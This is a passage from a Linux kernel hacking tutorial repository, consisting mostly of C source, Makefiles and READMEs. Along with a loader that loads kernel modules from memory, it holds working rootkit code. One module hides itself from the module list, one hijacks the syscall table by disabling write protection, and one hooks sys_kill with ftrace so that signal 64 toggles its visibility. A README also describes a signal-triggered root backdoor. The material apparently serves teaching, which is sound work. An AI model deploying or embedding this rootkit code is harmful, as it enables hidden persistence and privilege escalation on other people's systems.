0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 340 | 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 341 | 0x00, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x02, 0x00, 0x00, 0x00, 342 | 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 343 | 0x00, 0x00, 0x00, 0x00, 0x50, 0x05, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 344 | 0x18, 0x03, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x13, 0x00, 0x00, 0x00, 345 | 0x1c, 0x00, 0x00, 0x00, 0x08, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 346 | 0x18, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x09, 0x00, 0x00, 0x00, 347 | 0x03, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 348 | 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x68, 0x08, 0x00, 0x00, 349 | 0x00, 0x00, 0x00, 0x00, 0x42, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 350 | 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 351 | 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 352 | 0x11, 0x00, 0x00, 0x00, 0x03, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 353 | 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 354 | 0x70, 0x0a, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xc7, 0x00, 0x00, 0x00, 355 | 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 356 | 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 357 | 0x00, 0x00, 0x00, 0x00 358 | }; 359 | unsigned int example_ko_len = 4216; 360 | 361 | const char args[] = "\0"; 362 | 363 | int main(void) 364 | { 365 | int result; 366 | //int init_module(void *module_image, unsigned long len, const char *param_values); 367 | 368 | result = init_module(example_ko, example_ko_len, args); 369 | 370 | if( result == -1 ) 371 | { 372 | printf("Please run as root\n"); 373 | return(-1); 374 | } 375 | 376 | return(0); 377 | } 378 | -------------------------------------------------------------------------------- /2_MemoryLoading/2.0_no_arguments/stub.c: -------------------------------------------------------------------------------- 1 | int main(void) 2 | { 3 | int result; 4 | 5 | result = init_module(example_ko, example_ko_len, args); 6 | 7 | if( result != 0 ) 8 | { 9 | printf("Error: %d\n", result); 10 | return(-1); 11 | } 12 | 13 | return(0); 14 | } 15 | -------------------------------------------------------------------------------- /2_MemoryLoading/2.1_kpatch/Makefile: -------------------------------------------------------------------------------- 1 | kmod_name = livepatch_chown 2 | 3 | all: 4 | echo "#include " > tmp.c 5 | echo "#include " >> tmp.c 6 | echo "#include " >> tmp.c 7 | echo "" >> tmp.c 8 | xxd -i $(kmod_name).ko >> tmp.c 9 | echo "const char args[] = \"\\\0\";" >> tmp.c 10 | echo "" >> tmp.c 11 | cat stub.c >> tmp.c 12 | cat tmp.c | sed 's/example_ko/$(kmod_name)_ko/g' > load.c 13 | rm tmp.c 14 | gcc -o load load.c 15 | -------------------------------------------------------------------------------- /2_MemoryLoading/2.1_kpatch/README.md: -------------------------------------------------------------------------------- 1 | # Linux Kernel Hacking 2 | 3 | ## 2.0: Loading a Kernel Module from Memory (Kpatching `chown`) 4 | 5 | Patch the kernel with a single executable! 6 | 7 | To use: 8 | * Set up kpatch following [these](../2.0_no_arguments/) instructions. 9 | * Build the patch with `kpatch-build -t vmlinux -v /lib/debug/boot/vmlinux--generic chown.patch` 10 | * Remove the `-` from the filename (C doesn't like it in variable names) 11 | * `mv livepatch-chown.ko livepatch_chown.ko` 12 | * Build the loader with `make` 13 | * Execute as root with `sudo ./load` 14 | * `chown` a file, e.g. `chown vagrant:vagrant chown.patch` 15 | * Check output in kernel buffer with `dmesg` 16 | * Unload with `echo 0 | sudo tee /sys/kernel/livepatch/chown/enabled && sudo rmmod chown` 17 | -------------------------------------------------------------------------------- /2_MemoryLoading/2.1_kpatch/chown.patch: -------------------------------------------------------------------------------- 1 | diff --git a/fs/open.c b/fs/open.c 2 | index 6cd48a61cda3..0602d7d7e530 100644 3 | --- a/fs/open.c 4 | +++ b/fs/open.c 5 | @@ -720,6 +720,7 @@ int do_fchownat(int dfd, const char __user *filename, uid_t user, gid_t group, 6 | goto retry; 7 | } 8 | out: 9 | + printk(KERN_NOTICE "UID:GID %d:%d now owns the file %s\n", user, group, filename); 10 | return error; 11 | } 12 | 13 | -------------------------------------------------------------------------------- /2_MemoryLoading/2.1_kpatch/stub.c: -------------------------------------------------------------------------------- 1 | int main(void) 2 | { 3 | int result; 4 | 5 | result = init_module(example_ko, example_ko_len, args); 6 | 7 | if( result != 0 ) 8 | { 9 | printf("Error: %d\n", result); 10 | return(-1); 11 | } 12 | 13 | return(0); 14 | } 15 | -------------------------------------------------------------------------------- /3_RootkitTechniques/3.0_hiding_lkm/Makefile: -------------------------------------------------------------------------------- 1 | obj-m += rootkit.o 2 | 3 | all: 4 | make -C /lib/modules/$(shell uname -r)/build M=$(PWD) modules 5 | 6 | clean: 7 | make -C /lib/modules/$(shell uname -r)/build M=$(PWD) clean 8 | -------------------------------------------------------------------------------- /3_RootkitTechniques/3.0_hiding_lkm/README.md: -------------------------------------------------------------------------------- 1 | # Linux Kernel Hacking 2 | 3 | ## 3.0: Hiding Kernel Modules 4 | 5 | > Please check out the blog post for an in-depth explanation on how this module works. You can find it [here](https://xcellerator.github.io/posts/linux_rootkits_05/). 6 | 7 | Hide a kernel module after loading it. 8 | 9 | To use: 10 | * Build with `make` 11 | * Load with `insmod rootkit.ko` 12 | * Check output in kernel buffer with `dmesg` 13 | * See that the module is missing from the output of `lsmod` 14 | 15 | > NOTE: Currently, you can't unload this kernel module without rebooting 16 | 17 | > Inspired, in part, by the [Diamorphine](https://github.com/m0nad/Diamorphine) repo. 18 | -------------------------------------------------------------------------------- /3_RootkitTechniques/3.0_hiding_lkm/rootkit.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | #include 5 | 6 | MODULE_LICENSE("GPL"); 7 | MODULE_AUTHOR("TheXcellerator"); 8 | MODULE_DESCRIPTION("Hiding LKMs"); 9 | MODULE_VERSION("0.01"); 10 | 11 | /* list_head is a doubly-linked list structure used by the kernel 12 | * It's got a .prev and .next field, but we can use the list_del() 13 | * and list_add() functions add/remove items from a list_head struct. 14 | * The only thing to keep in mind is that we need to keep a local copy 15 | * of the item that we remove so we can add it back later when we're done. 16 | */ 17 | static struct list_head *prev_module; 18 | static short hidden = 0; 19 | 20 | void showme(void) 21 | { 22 | /* Add the saved list_head struct back to the module list */ 23 | list_add(&THIS_MODULE->list, prev_module); 24 | hidden = 0; 25 | } 26 | 27 | void hideme(void) 28 | { 29 | /* Save the module in the list before us, so we can add ourselves 30 | * back to the list in the same place later. */ 31 | prev_module = THIS_MODULE->list.prev; 32 | /* Remove ourselves from the list module list */ 33 | list_del(&THIS_MODULE->list); 34 | hidden = 1; 35 | } 36 | 37 | static int __init rootkit_init(void) 38 | { 39 | printk(KERN_INFO "Rootkit Loaded >:-)\n"); 40 | hideme(); 41 | return 0; 42 | } 43 | 44 | static void __exit rootkit_exit(void) 45 | { 46 | /* Note that you won't be able to unload this LKM yet... */ 47 | printk(KERN_INFO "Goodbye, World!\n"); 48 | } 49 | 50 | module_init(rootkit_init); 51 | module_exit(rootkit_exit); 52 | -------------------------------------------------------------------------------- /3_RootkitTechniques/3.1_syscall_hooking/Makefile: -------------------------------------------------------------------------------- 1 | obj-m += rootkit.o 2 | 3 | all: 4 | make -C /lib/modules/$(shell uname -r)/build M=$(PWD) modules 5 | 6 | clean: 7 | make -C /lib/modules/$(shell uname -r)/build M=$(PWD) clean 8 | -------------------------------------------------------------------------------- /3_RootkitTechniques/3.1_syscall_hooking/README.md: -------------------------------------------------------------------------------- 1 | # Linux Kernel Hacking 2 | 3 | ## 3.1: Syscall Table Hijacking 4 | 5 | Hijacking the linux syscall table, and hooking `sys_mkdir`. 6 | 7 | We have to use the `pt_regs` struct defined in [`arch/x86/include/asm/ptrace.h`](https://github.com/torvalds/linux/blob/master/arch/x86/include/asm/ptrace.h) in order to be able to access the argument passed to the syscall in our hook. Crucially, we have to define `orig_mkdir` via: 8 | 9 | ```C 10 | typedef asmlinkage long (*orig_mkdir_t)(const struct pt_regs *); 11 | orig_mkdir_t orig_mkdir; 12 | 13 | ... 14 | 15 | asmlinkage int hook_mkdir(const struct pt_regs *regs) 16 | { 17 | ... 18 | } 19 | ``` 20 | 21 | This means that we can wrap around this syscall by doing whatever we want to do in our hook, and then just pass the entire `pt_regs` struct over to this function pointer with `orig_mkdir(regs)` when we're done. 22 | 23 | The other benefit of doing this is that we only have to extract the arguments that we are interested in and not all of them solely for the purpose of passing them along to the real syscall. Looking up `sys_mkdir` [here](https://syscalls64.paolostivanin.com/), we see that `*pathname` is stored in the `rdi` register. This means that we simply dereference the string containing the new directory with `(char *)regs->di`. 24 | 25 | To use: 26 | * Build with `make` 27 | * Load with `insmod rootkit.ko` 28 | * Create a directory with `mkdir a` 29 | * Check output in kernel buffer with `dmesg` 30 | * Unload with `rmmod rootkit` 31 | -------------------------------------------------------------------------------- /3_RootkitTechniques/3.1_syscall_hooking/rootkit.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | #include 5 | #include 6 | #include 7 | 8 | MODULE_LICENSE("GPL"); 9 | MODULE_AUTHOR("TheXcellerator"); 10 | MODULE_DESCRIPTION("Syscall Table Hijacking"); 11 | MODULE_VERSION("0.01"); 12 | 13 | static unsigned long * __sys_call_table; 14 | 15 | /* Despite what's written in include/linux/syscalls.h, 16 | * we have to declare the original syscall as taking 17 | * a single pt_regs struct as an argument. This enables 18 | * us to unpack this struct in our hook syscall and access 19 | * the arguments that are being passed, while still being 20 | * able to just pass this struct on again to the real syscall 21 | * without any issues. This way, we don't have to unpack 22 | * EVERY argument from the struct - only the ones we care about. 23 | * 24 | * Note that asmlinkage is used to prevent GCC from being 25 | * "helpful" by allocation arguments on the stack */ 26 | typedef asmlinkage long (*orig_mkdir_t)(const struct pt_regs *); 27 | orig_mkdir_t orig_mkdir; 28 | 29 | /* This is our function hook. 30 | * 31 | * Getting this to work is a little awkward. We have to un-pack 32 | * the arguments from the pt_regs struct in order to be able to 33 | * reference the new directory name without getting a null-pointer 34 | * dereference. 35 | * 36 | * The pt_regs struct contains all the arguments passed to the syscall 37 | * in each register. Looking up sys_mkdir, pathname is stored in rdi, so 38 | * simply dereferencing regs->di gives the pathname argument. 39 | * See arch/x86/include/asm/ptrace.h for more info. 40 | * 41 | * Note that we call the real sys_mkdir() function at the end */ 42 | asmlinkage int hook_mkdir(const struct pt_regs *regs) 43 | { 44 | char __user *pathname = (char *)regs->di; 45 | char dir_name[NAME_MAX] = {0}; 46 | 47 | /* Copy the directory name from userspace (pathname, from 48 | * the pt_regs struct, to kernelspace (dir_name) so that we 49 | * can print it out to the kernel buffer */ 50 | long error = strncpy_from_user(dir_name, pathname, NAME_MAX); 51 | 52 | if (error > 0) 53 | printk(KERN_INFO "rootkit: Trying to create directory with name: %s\n", dir_name); 54 | 55 | /* Pass the pt_regs struct along to the original sys_mkdir syscall */ 56 | orig_mkdir(regs); 57 | return 0; 58 | } 59 | 60 | /* The built in linux write_cr0() function stops us from modifying 61 | * the WP bit, so we write our own instead */ 62 | inline void cr0_write(unsigned long cr0) 63 | { 64 | asm volatile("mov %0,%%cr0" : "+r"(cr0), "+m"(__force_order)); 65 | } 66 | 67 | /* Bit 16 in the cr0 register is the W(rite) P(rotection) bit which 68 | * determines whether read-only pages can be written to. We are modifying 69 | * the syscall table, so we need to unset it first */ 70 | static inline void protect_memory(void) 71 | { 72 | unsigned long cr0 = read_cr0(); 73 | set_bit(16, &cr0); 74 | cr0_write(cr0); 75 | } 76 | 77 | static inline void unprotect_memory(void) 78 | { 79 | unsigned long cr0 = read_cr0(); 80 | clear_bit(16, &cr0); 81 | cr0_write(cr0); 82 | } 83 | 84 | /* Module initialization function */ 85 | static int __init rootkit_init(void) 86 | { 87 | /* Grab the syscall table, and make sure we succeeded */ 88 | __sys_call_table = kallsyms_lookup_name("sys_call_table"); 89 | 90 | /* Grab the function pointer to the real sys_mkdir syscall */ 91 | orig_mkdir = (orig_mkdir_t)__sys_call_table[__NR_mkdir]; 92 | 93 | printk(KERN_INFO "rootkit: Loaded >:-)\n"); 94 | printk(KERN_DEBUG "rootkit: Found the syscall table at 0x%lx\n", __sys_call_table); 95 | printk(KERN_DEBUG "rootkit: mkdir @ 0x%lx\n", orig_mkdir); 96 | 97 | unprotect_memory(); 98 | 99 | printk(KERN_INFO "rootkit: hooking mkdir syscall\n"); 100 | /* Patch the function pointer to sys_mkdir with our hook instead */ 101 | __sys_call_table[__NR_mkdir] = (unsigned long)hook_mkdir; 102 | 103 | protect_memory(); 104 | 105 | return 0; 106 | } 107 | 108 | static void __exit rootkit_exit(void) 109 | { 110 | unprotect_memory(); 111 | 112 | printk(KERN_INFO "rootkit: restoring mkdir syscall\n"); 113 | __sys_call_table[__NR_mkdir] = (unsigned long)orig_mkdir; 114 | 115 | protect_memory(); 116 | 117 | printk(KERN_INFO "rootkit: Unloaded :-(\n"); 118 | } 119 | 120 | module_init(rootkit_init); 121 | module_exit(rootkit_exit); 122 | -------------------------------------------------------------------------------- /3_RootkitTechniques/3.2_kill_signalling/Makefile: -------------------------------------------------------------------------------- 1 | obj-m += rootkit.o 2 | 3 | all: 4 | make -C /lib/modules/$(shell uname -r)/build M=$(PWD) modules 5 | 6 | clean: 7 | make -C /lib/modules/$(shell uname -r)/build M=$(PWD) clean 8 | -------------------------------------------------------------------------------- /3_RootkitTechniques/3.2_kill_signalling/README.md: -------------------------------------------------------------------------------- 1 | # Linux Kernel Hacking 2 | 3 | ## 3.2: Custom Signals To Hide/Reveal LKMs 4 | 5 | > Updated to use [ftrace](https://www.kernel.org/doc/html/latest/trace/ftrace.html) instead of directly modifying kernel memory 6 | 7 | We can use the same syscall hijacking method from [Section 3.1](../3.1_syscall_hooking/) to hijack the `sys_kill` syscall rather than `sys_mkdir`. This lets us implement our own custom signals to call different functions within the rootkit. In this case, we use signal `64` (normally unused) to tell the module to hide or unhide itself (using the `hideme()` and `showme()` functions from [Section 3.0](../3.0_hiding_lkm/)). 8 | 9 | > NOTE: While experimenting with this module, I found that the kernel kept panicking and crashing if I probed the calls to `sys_kill` too often, i.e. trying to `printk` every call signal send to every pid. I think this is probably something to do with a race condition somewhere, but I'm not certain. 10 | 11 | To use: 12 | * Build with `make` 13 | * Load with `insmod rootkit.ko` 14 | * Send signal `64` to any pid, e.g. `kill -64 1` 15 | * Note that the signal won't actually be sent to the pid you specify, so any number will do! 16 | * Observe the `rootkit` is missing from the output of `lsmod` 17 | * While the module is hidden, you will be unable unload it! 18 | * Send signal `64` to any pid again e.g. `kill -64 1' 19 | * Observe that the `rootkit` is back in the output of `lsmod` 20 | * Unload with `rmmod rootkit` 21 | 22 | > Inspired, in part, by the [Diamorphine](https://github.com/m0nad/Diamorphine) repo. 23 | -------------------------------------------------------------------------------- /3_RootkitTechniques/3.2_kill_signalling/ftrace_helper.h: -------------------------------------------------------------------------------- 1 | /* 2 | * Helper library for ftrace hooking kernel functions 3 | * Author: Harvey Phillips (xcellerator@gmx.com) 4 | * License: GPL 5 | * */ 6 | 7 | #include 8 | #include 9 | #include 10 | #include 11 | 12 | #if defined(CONFIG_X86_64) && (LINUX_VERSION_CODE >= KERNEL_VERSION(4,17,0)) 13 | #define PTREGS_SYSCALL_STUBS 1 14 | #endif 15 | 16 | /* x64 has to be special and require a different naming convention */ 17 | #ifdef PTREGS_SYSCALL_STUBS 18 | #define SYSCALL_NAME(name) ("__x64_" name) 19 | #else 20 | #define SYSCALL_NAME(name) (name) 21 | #endif 22 | 23 | #define HOOK(_name, _hook, _orig) \ 24 | { \ 25 | .name = SYSCALL_NAME(_name), \ 26 | .function = (_hook), \ 27 | .original = (_orig), \ 28 | } 29 | 30 | /* We need to prevent recursive loops when hooking, otherwise the kernel will 31 | * panic and hang. The options are to either detect recursion by looking at 32 | * the function return address, or by jumping over the ftrace call. We use the 33 | * first option, by setting USE_FENTRY_OFFSET = 0, but could use the other by 34 | * setting it to 1. (Oridinarily ftrace provides it's own protections against 35 | * recursion, but it relies on saving return registers in $rip. We will likely 36 | * need the use of the $rip register in our hook, so we have to disable this 37 | * protection and implement our own). 38 | * */ 39 | #define USE_FENTRY_OFFSET 0 40 | #if !USE_FENTRY_OFFSET 41 | #pragma GCC optimize("-fno-optimize-sibling-calls") 42 | #endif 43 | 44 | /* We pack all the information we need (name, hooking function, original function) 45 | * into this struct. This makes is easier for setting up the hook and just passing 46 | * the entire struct off to fh_install_hook() later on. 47 | * */ 48 | struct ftrace_hook { 49 | const char *name; 50 | void *function; 51 | void *original; 52 | 53 | unsigned long address; 54 | struct ftrace_ops ops; 55 | }; 56 | 57 | /* Ftrace needs to know the address of the original function that we 58 | * are going to hook. As before, we just use kallsyms_lookup_name() 59 | * to find the address in kernel memory. 60 | * */ 61 | static int fh_resolve_hook_address(struct ftrace_hook *hook) 62 | { 63 | hook->address = kallsyms_lookup_name(hook->name); 64 | 65 | if (!hook->address) 66 | { 67 | printk(KERN_DEBUG "rootkit: unresolved symbol: %s\n", hook->name); 68 | return -ENOENT; 69 | } 70 | 71 | #if USE_FENTRY_OFFSET 72 | *((unsigned long*) hook->original) = hook->address + MCOUNT_INSN_SIZE; 73 | #else 74 | *((unsigned long*) hook->original) = hook->address; 75 | #endif 76 | 77 | return 0; 78 | } 79 | 80 | /* See comment below within fh_install_hook() */ 81 | static void notrace fh_ftrace_thunk(unsigned long ip, unsigned long parent_ip, struct ftrace_ops *ops, struct pt_regs *regs) 82 | { 83 | struct ftrace_hook *hook = container_of(ops, struct ftrace_hook, ops); 84 | 85 | #if USE_FENTRY_OFFSET 86 | regs->ip = (unsigned long) hook->function; 87 | #else 88 | if(!within_module(parent_ip, THIS_MODULE)) 89 | regs->ip = (unsigned long) hook->function; 90 | #endif 91 | } 92 | 93 | /* Assuming we've already set hook->name, hook->function and hook->original, we 94 | * can go ahead and install the hook with ftrace. This is done by setting the 95 | * ops field of hook (see the comment below for more details), and then using 96 | * the built-in ftrace_set_filter_ip() and register_ftrace_function() functions 97 | * provided by ftrace.h 98 | * */ 99 | int fh_install_hook(struct ftrace_hook *hook) 100 | { 101 | int err; 102 | err = fh_resolve_hook_address(hook); 103 | if(err) 104 | return err; 105 | 106 | /* For many of function hooks (especially non-trivial ones), the $rip 107 | * register gets modified, so we have to alert ftrace to this fact. This 108 | * is the reason for the SAVE_REGS and IP_MODIFY flags. However, we also 109 | * need to OR the RECURSION_SAFE flag (effectively turning if OFF) because 110 | * the built-in anti-recursion guard provided by ftrace is useless if 111 | * we're modifying $rip. This is why we have to implement our own checks 112 | * (see USE_FENTRY_OFFSET). */ 113 | hook->ops.func = fh_ftrace_thunk; 114 | hook->ops.flags = FTRACE_OPS_FL_SAVE_REGS 115 | | FTRACE_OPS_FL_RECURSION_SAFE 116 | | FTRACE_OPS_FL_IPMODIFY; 117 | 118 | err = ftrace_set_filter_ip(&hook->ops, hook->address, 0, 0); 119 | if(err) 120 | { 121 | printk(KERN_DEBUG "rootkit: ftrace_set_filter_ip() failed: %d\n", err); 122 | return err; 123 | } 124 | 125 | err = register_ftrace_function(&hook->ops); 126 | if(err) 127 | { 128 | printk(KERN_DEBUG "rootkit: register_ftrace_function() failed: %d\n", err); 129 | return err; 130 | } 131 | 132 | return 0; 133 | } 134 | 135 | /* Disabling our function hook is just a simple matter of calling the built-in 136 | * unregister_ftrace_function() and ftrace_set_filter_ip() functions (note the 137 | * opposite order to that in fh_install_hook()). 138 | * */ 139 | void fh_remove_hook(struct ftrace_hook *hook) 140 | { 141 | int err; 142 | err = unregister_ftrace_function(&hook->ops); 143 | if(err) 144 | { 145 | printk(KERN_DEBUG "rootkit: unregister_ftrace_function() failed: %d\n", err); 146 | } 147 | 148 | err = ftrace_set_filter_ip(&hook->ops, hook->address, 1, 0); 149 | if(err) 150 | { 151 | printk(KERN_DEBUG "rootkit: ftrace_set_filter_ip() failed: %d\n", err); 152 | } 153 | } 154 | 155 | /* To make it easier to hook multiple functions in one module, this provides 156 | * a simple loop over an array of ftrace_hook struct 157 | * */ 158 | int fh_install_hooks(struct ftrace_hook *hooks, size_t count) 159 | { 160 | int err; 161 | size_t i; 162 | 163 | for (i = 0 ; i < count ; i++) 164 | { 165 | err = fh_install_hook(&hooks[i]); 166 | if(err) 167 | goto error; 168 | } 169 | return 0; 170 | 171 | error: 172 | while (i != 0) 173 | { 174 | fh_remove_hook(&hooks[--i]); 175 | } 176 | return err; 177 | } 178 | 179 | void fh_remove_hooks(struct ftrace_hook *hooks, size_t count) 180 | { 181 | size_t i; 182 | 183 | for (i = 0 ; i < count ; i++) 184 | fh_remove_hook(&hooks[i]); 185 | } 186 | -------------------------------------------------------------------------------- /3_RootkitTechniques/3.2_kill_signalling/rootkit.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | #include 5 | #include 6 | #include 7 | 8 | #include "ftrace_helper.h" 9 | 10 | MODULE_LICENSE("GPL"); 11 | MODULE_AUTHOR("TheXcellerator"); 12 | MODULE_DESCRIPTION("Syscall hijacking to send custom signals"); 13 | MODULE_VERSION("0.02"); 14 | 15 | /* After Kernel 4.17.0, the way that syscalls are handled changed 16 | * to use the pt_regs struct instead of the more familiar function 17 | * prototype declaration. We have to check for this, and set a 18 | * variable for later on */ 19 | #if defined(CONFIG_X86_64) && (LINUX_VERSION_CODE >= KERNEL_VERSION(4,17,0)) 20 | #define PTREGS_SYSCALL_STUBS 1 21 | #endif 22 | 23 | /* We need these for hiding/revealing the kernel module */ 24 | static struct list_head *prev_module; 25 | static short hidden = 0; 26 | 27 | /* We now have to check for the PTREGS_SYSCALL_STUBS flag and 28 | * declare the orig_kill and hook_kill functions differently 29 | * depending on the kernel version. This is the largest barrier to 30 | * getting the rootkit to work on earlier kernel versions. The 31 | * more modern way is to use the pt_regs struct. */ 32 | #ifdef PTREGS_SYSCALL_STUBS 33 | static asmlinkage long (*orig_kill)(const struct pt_regs *); 34 | 35 | /* After grabbing the sig out of the pt_regs struct, just check 36 | * for signal 64 (unused normally) and, using "hidden" as a toggle 37 | * we either call hideme(), showme() or the real sys_kill() 38 | * syscall with the arguments passed via pt_regs. */ 39 | asmlinkage int hook_kill(const struct pt_regs *regs) 40 | { 41 | void showme(void); 42 | void hideme(void); 43 | 44 | // pid_t pid = regs->di; 45 | int sig = regs->si; 46 | 47 | if ( (sig == 64) && (hidden == 0) ) 48 | { 49 | printk(KERN_INFO "rootkit: hiding rootkit kernel module...\n"); 50 | hideme(); 51 | hidden = 1; 52 | } 53 | else if ( (sig == 64) && (hidden == 1) ) 54 | { 55 | printk(KERN_INFO "rootkit: revealing rootkit kernel module...\n"); 56 | showme(); 57 | hidden = 0; 58 | } 59 | else 60 | { 61 | return orig_kill(regs); 62 | } 63 | } 64 | #else 65 | /* This is the old way of declaring a syscall hook */ 66 | static asmlinkage long (*orig_kill)(pid_t pid, int sig); 67 | 68 | static asmlinkage int hook_kill(pid_t pid, int sig) 69 | { 70 | void showme(void); 71 | void hideme(void); 72 | 73 | if ( (sig == 64) && (hidden == 0) ) 74 | { 75 | printk(KERN_INFO "rootkit: hiding rootkit kernel module...\n"); 76 | hideme(); 77 | hidden = 1; 78 | } 79 | else if ( (sig == 64) && (hidden == 1) ) 80 | { 81 | printk(KERN_INFO "rootkit: revealing rootkit kernel module...\n"); 82 | showme(); 83 | hidden = 0; 84 | } 85 | else 86 | { 87 | return orig_kill(pid, sig); 88 | } 89 | } 90 | #endif 91 | 92 | /* Add this LKM back to the loaded module list, at the point 93 | * specified by prev_module */ 94 | void showme(void) 95 | { 96 | list_add(&THIS_MODULE->list, prev_module); 97 | } 98 | 99 | /* Record where we are in the loaded module list by storing 100 | * the module prior to us in prev_module, then remove ourselves 101 | * from the list */ 102 | void hideme(void) 103 | { 104 | prev_module = THIS_MODULE->list.prev; 105 | list_del(&THIS_MODULE->list); 106 | } 107 | 108 | /* Declare the struct that ftrace needs to hook the syscall */ 109 | static struct ftrace_hook hooks[] = { 110 | HOOK("sys_kill", hook_kill, &orig_kill), 111 | }; 112 | 113 | /* Module initialization function */ 114 | static int __init rootkit_init(void) 115 | { 116 | /* Hook the syscall and print to the kernel buffer */ 117 | int err; 118 | err = fh_install_hooks(hooks, ARRAY_SIZE(hooks)); 119 | if(err) 120 | return err; 121 | 122 | printk(KERN_INFO "rootkit: Loaded >:-)\n"); 123 | 124 | return 0; 125 | } 126 | 127 | static void __exit rootkit_exit(void) 128 | { 129 | /* Unhook and restore the syscall and print to the kernel buffer */ 130 | fh_remove_hooks(hooks, ARRAY_SIZE(hooks)); 131 | printk(KERN_INFO "rootkit: Unloaded :-(\n"); 132 | } 133 | 134 | module_init(rootkit_init); 135 | module_exit(rootkit_exit); 136 | -------------------------------------------------------------------------------- /3_RootkitTechniques/3.3_set_root/Makefile: -------------------------------------------------------------------------------- 1 | obj-m += rootkit.o 2 | 3 | all: 4 | make -C /lib/modules/$(shell uname -r)/build M=$(PWD) modules 5 | 6 | clean: 7 | make -C /lib/modules/$(shell uname -r)/build M=$(PWD) clean 8 | -------------------------------------------------------------------------------- /3_RootkitTechniques/3.3_set_root/README.md: -------------------------------------------------------------------------------- 1 | # Linux Kernel Hacking 2 | 3 | ## 3.3: Custom Signals To Give Root Privileges To A Process 4 | 5 | > Updated to use [ftrace](https://www.kernel.org/doc/html/latest/trace/ftrace.html) instead of directly modifying kernel memory 6 | 7 | > There is now a blog post explaining this module in more detail! Check it out [here](https://xcellerator.github.io/posts/linux_rootkits_03/)! 8 | 9 | Similar to [Section 3.2](../3.2_kill_signalling/), we can abuse hooking `sys_kill` to trigger a function that gives root to any process that sends a `64` signal to a process (as before, signal `64` is normally unused). 10 | 11 | According to [credentials.rst](https://github.com/torvalds/linux/blob/master/Documentation/security/credentials.rst#altering-credentials), we can only modify the `cred` struct of our own process, and not that of any other process. This means that we can't give an already running process root privileges unless we send the `64` signal from that process! Quite a clever security feature! 12 | 13 | All we have to do is send signal `64` to any process (as before, the signal isn't actually sent anywhere!) and we end up being root! 14 | 15 | To use: 16 | * Build with `make` 17 | * Load with `insmod rootkit.ko` 18 | * Confirm that you currently are *not* root with `whoami` 19 | * Send signal `64` to any pid, e.g. `kill -64 1` 20 | * Note that the signal won't actually be sent to the pid you specify, so any number will do! 21 | * Check `whoami` again, and observe that you are now root! 22 | * Unload with `rmmod rootkit` 23 | 24 | > Inspired, in part, by the [Diamorphine](https://github.com/m0nad/Diamorphine) repo. 25 | -------------------------------------------------------------------------------- /3_RootkitTechniques/3.3_set_root/ftrace_helper.h: -------------------------------------------------------------------------------- 1 | /* 2 | * Helper library for ftrace hooking kernel functions 3 | * Author: Harvey Phillips (xcellerator@gmx.com) 4 | * License: GPL 5 | * */ 6 | 7 | #include 8 | #include 9 | #include 10 | #include 11 | #include 12 | 13 | #if defined(CONFIG_X86_64) && (LINUX_VERSION_CODE >= KERNEL_VERSION(4,17,0)) 14 | #define PTREGS_SYSCALL_STUBS 1 15 | #endif 16 | 17 | /* 18 | * On Linux kernels 5.7+, kallsyms_lookup_name() is no longer exported, 19 | * so we have to use kprobes to get the address. 20 | * Full credit to @f0lg0 for the idea. 21 | */ 22 | #if LINUX_VERSION_CODE >= KERNEL_VERSION(5,7,0) 23 | #define KPROBE_LOOKUP 1 24 | #include 25 | static struct kprobe kp = { 26 | .symbol_name = "kallsyms_lookup_name" 27 | }; 28 | #endif 29 | 30 | #define HOOK(_name, _hook, _orig) \ 31 | { \ 32 | .name = (_name), \ 33 | .function = (_hook), \ 34 | .original = (_orig), \ 35 | } 36 | 37 | /* We need to prevent recursive loops when hooking, otherwise the kernel will 38 | * panic and hang. The options are to either detect recursion by looking at 39 | * the function return address, or by jumping over the ftrace call. We use the 40 | * first option, by setting USE_FENTRY_OFFSET = 0, but could use the other by 41 | * setting it to 1. (Oridinarily ftrace provides it's own protections against 42 | * recursion, but it relies on saving return registers in $rip. We will likely 43 | * need the use of the $rip register in our hook, so we have to disable this 44 | * protection and implement our own). 45 | * */ 46 | #define USE_FENTRY_OFFSET 0 47 | #if !USE_FENTRY_OFFSET 48 | #pragma GCC optimize("-fno-optimize-sibling-calls") 49 | #endif 50 | 51 | /* We pack all the information we need (name, hooking function, original function) 52 | * into this struct. This makes is easier for setting up the hook and just passing 53 | * the entire struct off to fh_install_hook() later on. 54 | * */ 55 | struct ftrace_hook { 56 | const char *name; 57 | void *function; 58 | void *original; 59 | 60 | unsigned long address; 61 | struct ftrace_ops ops; 62 | }; 63 | 64 | /* Ftrace needs to know the address of the original function that we 65 | * are going to hook. As before, we just use kallsyms_lookup_name() 66 | * to find the address in kernel memory. 67 | * */ 68 | static int fh_resolve_hook_address(struct ftrace_hook *hook) 69 | { 70 | #ifdef KPROBE_LOOKUP 71 | typedef unsigned long (*kallsyms_lookup_name_t)(const char *name); 72 | kallsyms_lookup_name_t kallsyms_lookup_name; 73 | 